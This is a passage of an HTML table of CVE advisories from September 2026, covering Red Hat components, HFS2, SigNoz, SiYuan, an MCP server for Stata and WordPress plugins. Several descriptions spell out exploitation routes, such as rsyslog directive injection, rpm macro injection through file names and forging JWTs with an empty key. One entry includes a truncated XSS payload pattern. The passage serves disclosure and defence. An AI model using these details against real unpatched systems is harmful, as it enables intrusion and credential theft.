&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84486&quot; target=&quot;_blank&quot;&gt;CVE-2026-84486&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ansible Automation Platform 2.7&lt;/td&gt;
&lt;td&gt;CopyAPIView (awx/awx/api/generics.py:873) sets permission_classes = (IsAuthenticated,), so DRF&#039;s get_object() performs no object-level RBAC. The get() handler (lines 988-991) explicitly guards with request.user.can_access(obj._class_, &#039;read&#039;, obj) - but post() (lines 1001-1010) does not. POST only checks: can_access(model, &#039;add&#039;, create_kwargs_check) can_access(model, &#039;copy_related&#039;, obj) For JobTemplate, can_add (awx/awx/main/access.py:1465-1520) gates on inventory.use_role + project.use_role + execution_environment.read_role - resource-level roles that do not imply read on the source JT - and can_copy_related (1522-1534) checks only credentials.use_role. None of these imply the caller can read the source JT.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76648&quot; target=&quot;_blank&quot;&gt;CVE-2026-76648&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ansible Automation Platform 2.7&lt;/td&gt;
&lt;td&gt;A flaw was found in the Ansible Automation Platform automation controller. The external logging (rsyslog) configuration is generated by interpolating user-controlled settings - LOG_AGGREGATOR_HOST, LOG_AGGREGATOR_MAX_DISK_USAGE_PATH and LOG_AGGREGATOR_RSYSLOGD_ERROR_LOG_FILE - into an rsyslog RainerScript config file without neutralizing RainerScript syntax. A privileged (superuser) user can inject rsyslog directives, including an omprog action, causing arbitrary command execution inside the control-plane rsyslog component. This allows disclosure of the controller SECRET_KEY and database credentials, decryption of all stored credentials, and full compromise of the control plane.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85475&quot; target=&quot;_blank&quot;&gt;CVE-2026-85475&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Certificate System 9&lt;/td&gt;
&lt;td&gt;A flaw was found in pki-core. The v2 REST ACL filter selects a tie-breaking permission for colliding literal and wildcard ACL keys using lexicographic string comparison rather than specificity, causing a wildcard-mapped permission to override a more specific literal-mapped permission when both match. In the CA&#039;s profile-management REST API this allows a request to POST /v2/profiles/raw -- intended to require Administrator-level profiles.create permission -- to instead be authorized under the lower-privileged profiles.approve permission held by the default Certificate Manager Agents group. The highest threat from this vulnerability is to confidentiality and integrity of the certificate authority&#039;s issuance policy.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80110&quot; target=&quot;_blank&quot;&gt;CVE-2026-80110&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A heap out-of-bounds write vulnerability was found in the Linux kernel&#039;s RPC-over-RDMA server reply path in net/sunrpc/xprtrdma/svc_rdma_sendto.c. When a crafted RPC-over-RDMA client sends a large NFS READ request with an empty Write list and no Reply chunk, the server linearizes the entire multi-page reply into a fixed-size 4096-byte heap buffer without bounds checking, resulting in a kernel heap overflow. This can lead to denial of service via kernel crash or potential code execution through corruption of adjacent kernel heap objects.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13087&quot; target=&quot;_blank&quot;&gt;CVE-2026-13087&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A use-after-free vulnerability was found in QEMU&#039;s 9pfs subsystem. A race condition between the main thread and a worker thread when processing concurrent Tlcreate and Twalk requests allows a malicious guest user to craft a fid path containing stale heap data, bypassing directory traversal restrictions and escaping the shared directory boundary. This can lead to arbitrary host file read/write and code execution (VM escape) as the QEMU process user.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93834&quot; target=&quot;_blank&quot;&gt;CVE-2026-93834&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A malicious or compromised Flatpak repository can write attacker-controlled content to arbitrary locations on the host filesystem via extract_extra_data(). On system installs, the write happens as root. Two issues combine: `files/extra` is resolved via path operations that follow symlinks, and blob names from `xa.extra-data-sources` are not sanitized against `..` traversal.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96275&quot; target=&quot;_blank&quot;&gt;CVE-2026-96275&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in rpcbind. This vulnerability allows a remote, unauthenticated attacker to cause a Denial of Service (DoS) by sending a large number of unique requests. The rpcbind service records previously unseen RPC (Remote Procedure Call) statistics in unbounded in-memory lists, leading to persistent memory growth and increased CPU usage. This can degrade or exhaust service availability.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94640&quot; target=&quot;_blank&quot;&gt;CVE-2026-94640&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A heap-based buffer overflow was found in the DHCPv6 and TFTP response builders of libslirp. When the host is configured with a small interface MTU, a guest-supplied DHCPv6 CLIENTID option or TFTP blksize option can overflow the reply buffer with attacker-controlled content and length, resulting in denial of service and potentially arbitrary code execution in the host process. The default interface MTU is not affected.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95508&quot; target=&quot;_blank&quot;&gt;CVE-2026-95508&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in rpm. An attacker can supply a crafted manifest file that, when processed by a user or automation using `rpm -q -p` or similar manifest-processing flows, leads to arbitrary code execution. This occurs because manifest entries are unexpectedly macro-expanded before being opened, allowing embedded shell commands to run with the privileges of the `rpm` process. Successful exploitation can lead to a full compromise of confidentiality, integrity, and availability for the affected account.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95519&quot; target=&quot;_blank&quot;&gt;CVE-2026-95519&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A command injection flaw was found in rpm. Installing or rebuilding a source RPM whose source or spec file basenames contain a %() macro construct causes rpm to execute an attacker-controlled shell command via popen() while relocating the source file list. This allows arbitrary command execution as the invoking (typically non-root) user, simply by installing, rebuilding, or otherwise processing an untrusted .src.rpm.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95521&quot; target=&quot;_blank&quot;&gt;CVE-2026-95521&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;The OCI delta stream parser read sizes as guint64 but passed them to GLib I/O and allocation functions expecting gsize (32 bits on 32-bit systems), causing undersized allocations while subsequent operations use the original 64-bit size, leading to heap buffer overflows. An attacker controlling an OCI registry can craft a delta stream that triggers this during flatpak install/update, potentially achieving code execution on 32-bit systems.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96280&quot; target=&quot;_blank&quot;&gt;CVE-2026-96280&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A denial-of-service flaw was found in gnome-remote-desktop. An unauthenticated remote attacker can open RDP connections without completing the handshake and retain the connection-throttling slots indefinitely because no pre-authentication handshake deadline is enforced. By exhausting the global connection limit, an attacker can prevent new RDP clients from connecting until a holding socket is closed.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96541&quot; target=&quot;_blank&quot;&gt;CVE-2026-96541&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in librsvg. When processing an SVG document containing nested XML inclusions (Xincludes) with duplicate entity declarations, a use-after-free error can occur. This vulnerability arises because the library incorrectly frees an XML entity that is still in use by the parser. An attacker could potentially exploit this to cause a denial of service or execute arbitrary code.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96889&quot; target=&quot;_blank&quot;&gt;CVE-2026-96889&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in GIMP. When processing a specially crafted GIMPressionist preset file, the plug-in does not properly validate vector indices before writing into fixed-size arrays. This can lead to an out-of-bounds write, corrupting memory. An attacker could exploit this by convincing a user to load a malicious preset file, potentially causing a crash or enabling arbitrary code execution.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97185&quot; target=&quot;_blank&quot;&gt;CVE-2026-97185&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Hardened Images&lt;/td&gt;
&lt;td&gt;A unit confusion in BusyBox TLS Montgomery reduction buffer allocation causes a pre-authentication heap buffer overflow when processing a crafted ClientKeyExchange message.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88830&quot; target=&quot;_blank&quot;&gt;CVE-2026-88830&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Hardened Images&lt;/td&gt;
&lt;td&gt;BusyBox romfs volume ID parsing uses unbounded strlen on attacker-controlled metadata, causing a heap buffer overflow when processing crafted filesystem images.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88832&quot; target=&quot;_blank&quot;&gt;CVE-2026-88832&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Hardened Images&lt;/td&gt;
&lt;td&gt;A flaw was found in libstdc++. An integer overflow can occur when processing large inputs to the aligned operator new in the C++ library. This vulnerability could lead to an undersized memory allocation, potentially causing memory corruption or application instability.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95619&quot; target=&quot;_blank&quot;&gt;CVE-2026-95619&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Hardened Images&lt;/td&gt;
&lt;td&gt;A flaw was found in sudo. When sudoers rules use NOTBEFORE or NOTAFTER time-based access restrictions with timestamps that omit the trailing &#039;Z&#039; timezone indicator, the time evaluation relies on the TZ environment variable inherited from the calling user. Because sudo is a setuid-root program, an unprivileged local user can set TZ to an extreme timezone offset to shift the authorization window by up to approximately 25 hours, causing expired rules to be treated as valid. This allows the user to execute commands outside the intended time window. Authentication is not bypassed; only the time-based authorization check is affected.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96512&quot; target=&quot;_blank&quot;&gt;CVE-2026-96512&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat OpenShift Container Platform 4&lt;/td&gt;
&lt;td&gt;A vulnerability was found in CRI-O related to the container checkpoint and restore feature. When CRI-O is configured to restore containers from checkpoint archives, insufficient validation of restore metadata may allow a user with sufficient privileges to perform unintended operations on the host filesystem. Successful exploitation requires that container checkpoint and restore functionality is enabled, which is not the default configuration. An attacker must also be able to trigger restoration of a container from untrusted checkpoint content.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15801&quot; target=&quot;_blank&quot;&gt;CVE-2026-15801&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat OpenShift Container Platform 4&lt;/td&gt;
&lt;td&gt;A flaw was found in openshift/console. An unauthenticated remote attacker can exploit a misconfiguration in the CatalogdHandler, which lacks proper authentication, and the forwarding of the `openshift-session-token` cookie. This allows the attacker to send requests to the in-cluster catalogd service, leading to the disclosure of the internal operator-catalog index and providing a relay into the openshift-catalogd namespace.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75886&quot; target=&quot;_blank&quot;&gt;CVE-2026-75886&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat OpenShift Container Platform 4&lt;/td&gt;
&lt;td&gt;A flaw was found in the OpenShift console. An unauthenticated attacker can exploit a path traversal vulnerability by manipulating the `lng` and `ns` query parameters in the `/locales/resource.json` endpoint. This allows the attacker to read sensitive `*.json` files from the pod filesystem, including plugin manifests and configuration files. Furthermore, this flaw can enable path traversal against registered dynamic-plugin backends.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75887&quot; target=&quot;_blank&quot;&gt;CVE-2026-75887&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat OpenShift Container Platform 4&lt;/td&gt;
&lt;td&gt;A flaw was found in openshift/oc-mirror. The tool incorrectly verifies PGP (Pretty Good Privacy) release image signatures by checking for signature errors before the entire signed body is processed, leading to a bypass of the signature verification. A remote attacker, by intercepting or manipulating network traffic to the signature endpoint, could exploit this to craft a PGP message with a valid Red Hat release key ID but a forged signature. This enables the `oc-mirror` tool to accept and mirror a malicious release payload into a disconnected registry, potentially compromising the integrity of software deployments.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75939&quot; target=&quot;_blank&quot;&gt;CVE-2026-75939&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Openshift Data Foundation 4&lt;/td&gt;
&lt;td&gt;A flaw was found in the signature verification logic of noobaa-core, the core component of the NooBaa Multicloud Object Gateway. The issue occurs when the service processes S3 presigned URLs using Signature Version 4 (SigV4). Due to improper validation, the service fails to reject requests containing unsigned x-amz- headers, instead simply dropping them from the signature calculation. This allows an attacker who possesses a valid presigned PUT URL to add an unsigned x-amz-copy-source header, effectively converting a simple upload into a CopyObject operation. This can lead to unauthorized access and copying of any data the original signer is permitted to reach across the entire storage system.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94368&quot; target=&quot;_blank&quot;&gt;CVE-2026-94368&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rejetto--hfs2&lt;/td&gt;
&lt;td&gt;HFS2 version 2.4.0 and earlier contains a template injection vulnerability in the multipart upload handler that allows unauthenticated attackers to achieve remote code execution by embedding malicious template syntax in a filename. Attackers can craft a filename containing a closing template quoting sequence followed by an exec macro, which bypasses the authorization check in the dispatcher to execute arbitrary commands on the underlying host system.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97359&quot; target=&quot;_blank&quot;&gt;CVE-2026-97359&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rejetto--hfs2&lt;/td&gt;
&lt;td&gt;HFS2 version 2.4.0 and earlier contains an unauthenticated arbitrary file access vulnerability that allows unauthenticated attackers to read, write, append, and delete files anywhere the HFS service account has filesystem access outside the shared folder. Attackers can exploit the macro dispatcher&#039;s lack of authorization model combined with the path resolver&#039;s failure to confine absolute paths to manipulate the template engine and compromise the confidentiality, integrity, and availability of the host.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97360&quot; target=&quot;_blank&quot;&gt;CVE-2026-97360&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rejetto--hfs2&lt;/td&gt;
&lt;td&gt;HFS2 version 2.4.0 and earlier contains a denial of service vulnerability that allows unauthenticated attackers to cause a complete and persistent loss of availability by sending a single crafted request. Attackers can trigger a hung serving thread that enters a busy loop, rendering the entire file server unresponsive to all clients without self-recovery until an operator manually restarts the service.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97362&quot; target=&quot;_blank&quot;&gt;CVE-2026-97362&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rmyndharis--OpenWA&lt;/td&gt;
&lt;td&gt;OpenWA is a free, open source, self-hosted WhatsApp API gateway. Prior to 0.23.5, the /events WebSocket gateway delivers the session.qr event to a VIEWER API key that subscribes by event name or through either wildcard subscription form, even though GET /api/sessions/{sessionId}/qr requires the OPERATOR role. When an allowed session is waiting to be paired, the exposed QR lets the key holder link an external device to the WhatsApp account and then read and send messages outside OpenWA and its audit trail. Keys restricted through allowedSessions remain limited to those sessions, and deployments that issue only OPERATOR or ADMIN keys are not affected. This issue is fixed in version 0.23.5.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91160&quot; target=&quot;_blank&quot;&gt;CVE-2026-91160&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rojo-rbx--rojo&lt;/td&gt;
&lt;td&gt;Rojo&#039;s &quot;rojo serve&quot; HTTP API (default port 34872) has no Host/Origin header validation, making it vulnerable to DNS rebinding. A malicious webpage can read all project source, write malicious code to files on disk, and launch local programs via opener::open() with no user interaction beyond visiting the page.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97875&quot; target=&quot;_blank&quot;&gt;CVE-2026-97875&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;roxnor--WP Ultimate Review&lt;/td&gt;
&lt;td&gt;The The WP Ultimate Review plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 2.4.2. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for authenticated attackers, with subscriber-level access and above, to execute arbitrary shortcodes.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92235&quot; target=&quot;_blank&quot;&gt;CVE-2026-92235&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SeaTheme--BM Content Builder&lt;/td&gt;
&lt;td&gt;The BM Content Builder plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the ux_cb_remove_layout_ajax() and ux_cb_tools_export_ajax() functions in all versions up to, and excluding, 3.17.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-1281&quot; target=&quot;_blank&quot;&gt;CVE-2025-1281&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Seetong--T8108&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in Seetong T8108, T8108P, T8116 and T8232 4.6.1.4-build202604241011. The affected element is an unknown function of the component Debug Service. Such manipulation leads to improper authentication. The attack may be launched remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100886&quot; target=&quot;_blank&quot;&gt;CVE-2026-100886&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SepineTam--mcp-for-stata&lt;/td&gt;
&lt;td&gt;MCP-for-Stata is a MCP server for integrating Stata into agent loops with a safety-first design. Prior to version 1.19.0, the ado_package_install MCP tool in stata-mcp concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters in the package argument to inject arbitrary Stata commands. Because Stata supports a shell escape command, this leads to full OS-level arbitrary command execution (RCE) under the account running the Stata-MCP server. The tool is registered in the default all profile, so no non-default configuration is required. This issue has been patched in version 1.19.0.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55071&quot; target=&quot;_blank&quot;&gt;CVE-2026-55071&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Shazzad Hossain Khan--W4 Post List&lt;/td&gt;
&lt;td&gt;Improper Neutralization of Special Elements used in an SQL Command (&#039;SQL Injection&#039;) vulnerability in Shazzad Hossain Khan W4 Post List allows Blind SQL Injection. This issue affects W4 Post List: from n/a through 3.0.6.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96826&quot; target=&quot;_blank&quot;&gt;CVE-2026-96826&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SigNoz--signoz&lt;/td&gt;
&lt;td&gt;SigNoz from v0.8.0 before v0.143.0 defaults the JWT tokenizer signing secret (tokenizer::jwt::secret, set via SIGNOZ_TOKENIZER_JWT_SECRET or the deprecated SIGNOZ_JWT_SECRET) to an empty string, and Config.Validate() does not reject the empty value, so a deployment that does not configure a secret starts up and both signs and verifies session tokens with an empty HMAC key. Because the JWT tokenizer was the default provider, any such deployment is affected. An unauthenticated attacker who knows the ID of an existing user can forge a valid session token for that user - including an administrator - by signing the id, orgId and email claims with an empty key; the organization ID (and whether an email is registered) can be obtained without authentication from /api/v2/sessions/context. A forged refresh token can be exchanged at /api/v2/sessions/rotate for a new token pair and cannot be revoked, so it remains usable for its full lifetime (30 days by default). Fixed in v0.143.0, which requires a JWT secret when the jwt provider is selected and changes the default provider to opaque.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97055&quot; target=&quot;_blank&quot;&gt;CVE-2026-97055&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;siyuan-note--siyuan&lt;/td&gt;
&lt;td&gt;SiYuan v3.8.3 fails to HTML-escape the data-subtype attribute when generating gutter-button markup (app/src/protyle/gutter/button.ts, assigned via innerHTML in app/src/protyle/gutter/index.ts) from content pasted as plain-text Markdown containing a Kramdown inline attribute list (IAL). Because the shared Lute renderer parses Kramdown IAL from text/plain input, an attacker-supplied Markdown snippet using entity-encoded quotes in data-subtype breaks out of the attribute value when the gutter markup is re-parsed by the browser, injecting additional attributes such as autofocus and onfocus. If a victim pastes the crafted Markdown and the affected gutter control receives focus, the injected handler executes; in the Electron desktop application, where the main BrowserWindow enables Node integration and disables context isolation, this results in JavaScript execution with renderer Node.js privileges (remote code execution). Fixed in v3.8.4.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100639&quot; target=&quot;_blank&quot;&gt;CVE-2026-100639&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;siyuan-note--siyuan&lt;/td&gt;
&lt;td&gt;SiYuan before v3.8.4 does not HTML-escape stored flashcard block content before interpolating it into the card-manager list markup. Block content returned by /api/riff/getRiffCards is inserted into a card item template in app/src/card/viewCards.ts and assigned to listElement.innerHTML, so content such as &amp;lt;img src=invalid onerror=...&amp;gt; becomes an executable event-handler attribute. Because the SiYuan desktop (Electron) main window is created with nodeIntegration enabled and contextIsolation disabled, an administrator who opens the card manager on a workspace containing attacker-supplied flashcard content (for example introduced through contribution or import) executes the attacker&#039;s script in a privileged renderer, which can lead to arbitrary code execution on the host. The affected endpoint remains behind authentication and administrator-role checks; this is an untrusted-content-to-privileged-renderer issue, not an authorization bypass.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
